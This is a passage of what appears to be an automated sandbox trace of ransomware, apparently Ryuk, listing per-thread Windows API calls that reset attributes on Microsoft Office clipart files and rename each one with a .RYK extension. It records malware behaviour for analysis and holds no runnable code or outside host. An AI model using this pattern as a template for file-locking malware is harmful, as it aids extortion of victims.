	id = 2545
	os_tid = 0x2d28

	[0224.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF", dwFileAttributes=0x80) returned 0
	[0225.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.375] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2546
	os_tid = 0x2d2c

	[0224.586] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF", dwFileAttributes=0x80) returned 0
	[0225.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.373] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.374] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2547
	os_tid = 0x2d30

	[0224.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF", dwFileAttributes=0x80) returned 0
	[0225.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.727] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2548
	os_tid = 0x2d34

	[0224.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF", dwFileAttributes=0x80) returned 0
	[0225.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.371] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2549
	os_tid = 0x2d38

	[0224.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF", dwFileAttributes=0x80) returned 0
	[0225.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2550
	os_tid = 0x2d3c

	[0224.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF", dwFileAttributes=0x80) returned 0
	[0225.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.370] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2551
	os_tid = 0x2d40

	[0224.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF", dwFileAttributes=0x80) returned 0
	[0225.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2552
	os_tid = 0x2d44

	[0224.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF", dwFileAttributes=0x80) returned 0
	[0225.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.197] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2553
	os_tid = 0x2d48

	[0225.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF", dwFileAttributes=0x80) returned 0
	[0225.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.251] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2554
	os_tid = 0x2d4c

	[0225.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF", dwFileAttributes=0x80) returned 0
	[0225.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.257] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.257] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2555
	os_tid = 0x2d50

	[0225.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF", dwFileAttributes=0x80) returned 0
	[0225.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.255] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.255] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2556
	os_tid = 0x2d54

	[0225.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF", dwFileAttributes=0x80) returned 0
	[0225.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.259] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2557
	os_tid = 0x2d58

	[0225.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF", dwFileAttributes=0x80) returned 0
	[0225.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2558
	os_tid = 0x2d5c

	[0225.264] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF", dwFileAttributes=0x80) returned 0
	[0225.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.265] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2559
	os_tid = 0x2d60

	[0225.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF", dwFileAttributes=0x80) returned 0
	[0225.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.267] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.268] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2560
	os_tid = 0x2d64

	[0225.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF", dwFileAttributes=0x80) returned 0
	[0225.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2561
	os_tid = 0x2d68

	[0225.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF", dwFileAttributes=0x80) returned 0
	[0225.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.272] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.273] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2562
	os_tid = 0x2d6c

	[0225.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF", dwFileAttributes=0x80) returned 0
	[0225.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.289] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.289] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2564
	os_tid = 0x2d74

	[0225.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF", dwFileAttributes=0x80) returned 0
	[0225.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.291] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2565
	os_tid = 0x2d78

	[0225.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF", dwFileAttributes=0x80) returned 0
	[0225.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.294] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2566
	os_tid = 0x2d7c

	[0225.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF", dwFileAttributes=0x80) returned 0
	[0225.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.300] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2567
	os_tid = 0x2d80

	[0225.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF", dwFileAttributes=0x80) returned 0
	[0225.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.306] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.307] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153514.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153514.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2568
	os_tid = 0x2d84

	[0225.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF", dwFileAttributes=0x80) returned 0
	[0225.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.303] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.304] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2569
	os_tid = 0x2d88

	[0225.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF", dwFileAttributes=0x80) returned 0
	[0225.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.310] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153518.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153518.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2570
	os_tid = 0x2d8c

	[0225.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF", dwFileAttributes=0x80) returned 0
	[0225.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2571
	os_tid = 0x2d90

	[0225.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF", dwFileAttributes=0x80) returned 0
	[0225.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2572
